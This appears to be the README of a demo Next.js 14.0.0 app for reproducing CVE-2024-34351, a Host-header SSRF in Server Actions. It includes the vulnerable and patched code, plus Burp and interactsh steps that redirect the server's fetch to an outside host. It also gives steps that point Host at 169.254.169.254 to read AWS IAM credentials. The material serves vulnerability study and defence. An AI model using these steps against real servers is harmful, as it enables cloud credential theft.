
Minimal Next.js 14.0.0 demo app for CVE-2024-34351 SSRF vulnerability. Includes exploit setup, interactsh confirmation, Burp interception, and AWS metadata escalation steps.
Minimal Next.js 14.0.0 application for demonstrating CVE-2024-34351 -- a Server-Side Request Forgery (SSRF) vulnerability in Next.js Server Actions.
Discovered by Adam Kues and Shubham Shah at Assetnote. Fixed in Next.js 14.1.1.
When a Server Action calls redirect('/some-path'), Next.js builds an internal fetch URL using the Host header from the incoming request without validation:
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // server makes this request
An attacker who controls the Host header can point this internal fetch at any destination the server can reach.
npm install
npm run build # must use production build -- dev mode routes redirects differently
npm run start # app runs at http://localhost:3000
interactsh is useful for confirming that the Next.js server makes an outbound request to an attacker-controlled host.
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client
In Burp Suite:
http://localhost:3000 and submit the login form with intercept ONHost: localhost:3000 to Host: abc123.oast.funThis proves the outbound SSRF. The request originates from the server process, not the browser.
interactsh cannot control its response, so Next.js will not follow through to the GET. To get the full response body returned, use the included attacker server:
python3 attacker/attacker_server.py 8888
Set the Host header to <your-lan-ip>:8888 and forward. The attacker server responds
to HEAD with Content-Type: text/x-component, triggering the GET. The full response body
is returned inside the Next.js response visible in Burp.
When running the vulnerable app on an AWS EC2 instance, set the Host header to:
Host: 169.254.169.254
Next.js will fetch from the instance metadata service. To retrieve IAM credentials:
Host: 169.254.169.254
Then adjust the redirect path or use a follow-up request to target:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The full metadata response is returned to the attacker's browser.
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
The fix prefers process.env.__NEXT_PRIVATE_ORIGIN -- set at server startup, not controllable by the attacker.